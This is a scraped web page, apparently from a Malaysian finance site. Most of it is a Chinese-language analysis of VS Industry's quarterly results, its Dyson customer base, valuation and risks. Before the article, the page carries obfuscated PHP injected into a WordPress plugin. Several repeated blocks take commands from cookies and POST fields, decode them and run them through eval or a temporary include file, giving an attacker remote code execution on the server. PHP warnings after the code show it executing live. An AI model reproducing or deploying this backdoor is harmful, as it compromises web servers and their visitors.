$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
你戴森了吗? - Sharix

你戴森了吗?

想到大马电子组装的龙头威城VS Industry,大家脑海浮现的肯定是背后的大客户戴森公司Dyson。那么,今天笔者和大家谈谈VS上个星期出炉的第四季度成绩单。这次公司的业绩对于笔者来说其实是超出预期。笔者会分析公司的财报,公司最新的进展和未来的展望,及目前的估值和投资者需要注意的风险。

从全球50大电子组装公司的排名来看,入围的大马电子组装公司有ATA IMS, VS及SKP Resources,分别排在第22, 第26以及第40位。作为全球50大的电子组装公司,VS受惠于跨国企业因为中美贸易战而将订单转移至东南亚。目前,VS的主要客户有来自英国的Dyson和Keurig,及来自美国的Zodiac。而公司也成功在2019年迎娶来自美国Bissell颁发的家电用品制造的新合约,并放眼Bissell成为续Dyson之后公司的第二大客户。

剖析公司最新季度的财务报告,营收按年成长了6.6% 至RM941.1 million,最大的推力来自于公司手中强劲的订单支撑,但按季下滑12.4% 主要是受到我国政府行动管制令的影响。盈利方面,公司的净利按年萎缩了23.4% 至RM41.5 million,主要是这次公司的账目有一个RM25 million的impairment on investment in associate。如果排除这项一次性亏损,公司的税前盈利其实是按年增长11% 或RM7.8 million至RM79.1 million。

分区域来看,大马的业务中规中矩,营收按年上涨22.4%。而公司在印尼的业务也成功转亏为盈,在这个季度录得税前盈利RM2.9 million,主要是因为居家工作的趋势提高市场对于公司产品的需求。另外,公司在中国业务的亏损也从去年的RM14.3 million大幅缩小至目前的RM2.3 million,主要是公司对业务进行重组及采取轻资产模式来减低开销。

笔者刚才也说,这次的业绩笔者认为是非常好的。这是因为公司在行动管制令期间产能受限的环境下还能交出这么高的营运利率,凸显出管理层优秀的的成本控制能力。从上图可以看到,如果排除这个季度的一次性亏损(红色虚线),公司在过去五个季度的EBITDA margin都在稳定在高水平,主要是因为工厂的产能使用率达到规模经济效益。

展望未来,虽然管制令限制了公司的产能,但管理层表示公司也跟著调整劳动人力来减低管制令带来的负面冲击。管理层也表示所有员工已经注射疫苗,目前的产能已经全面开跑。另外,来自美国的客户在近期将会有新的生产线投入运作,在未来几个季度也会陆续推出新的产能。另外,公司位于i-Park @ Senai Airport City的新设施即将竣工,而新厂房将会用于满足来自美国新客户订单的需求。至于印尼及中国的业务,管理层表示前者的订单保持强劲,而后者目前正在和潜在客户商讨新的合约,但近期的专注会是在成本控制上面。

观察全年的业绩,虽然公司并没有突破前期新高的营收,但是净利却来到历史新高的RM245.3 million。笔者认为在居家工作新常态下,消费者对电子产品的需求会保持强劲,加上中美贸易战使贸易转移带动更多外包项目,这将有利于大马的电子组装行业,而公司也会因此而受惠。

目前,公司手握RM404.6 million的现金,资产负债表也处于RM2.2 million的净负债状态。另外,公司的现金流也非常健康,过去三年的营运现金流平均也有RM220 million左右,但由于公司也正处于积极扩张产能的阶段 ,三年总资本投入为RM435.9 million,过去三年的自由现金流平均只有RMM76 million。

从估值来看,目前VS的Forward PER为23倍左右,相比于大马电子组装行业平均19倍的本益比略高。如果大家观察大马首三家Dyson系列公司的估值会发现它们都享有比较高的估值,最大的原因是背后的客户群。其实大家如果有长期跟踪VS的进展,会发现Dyson占公司的营收每年都在减少,而新加入的客户群也降低公司依赖单一客户的风险。

笔者认为电子组装公司向来都是以量取胜的行业,这就是为什么它们的盈利率都偏低。从上图可以看到,大部分电子组装公司的盈利率都不超过双位数,但也不至于太低,要知道这些大型的电子组装公司和客户每年都会定时调整产品的生产价格来保住代工商的赚幅。而电子组装公司必须通过多元化客户去扩充本身的产品线,提高公司的盈利率。

笔者认为电子组装行业是常做常有的生意。2018年特朗普引发中美贸易战过后,许多公司纷纷把中国的生产基地转移至东南亚,而电子组装公司成了当时其中最大的受惠者。身为大马电子组装的龙头,VS也面对来自欧美国家源源不绝的订单报价。经过几年的耕耘,公司也成功斩获几名来自欧美的大客户,相信未来公司也能凭自身的实力去赢得更多订单。

但是,笔者认为投资者在投资这类型的公司的时候要注意几个风险。最大的风险就是全球的经济复苏不如预期,消费者的情绪不如市场预期般乐观。笔者多次在文章提到全球最大的消费国老美近期的零售销售数据正在从高处迅速回落。虽然目前电子组装公司的订单仍然保持强劲,但笔者大胆假设不排除是厂商正在囤积库存以免缺货潮再现,而真正的需求或许没有这么强劲。

无论如何,笔者认为VS是家基本面强劲的公司,也成功分散自身的客户群,通过多元化业务转型成高净值科技代工商。在新产能年底至明年初上线的时候,公司的盈利也有机会迈向另一个高峰。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台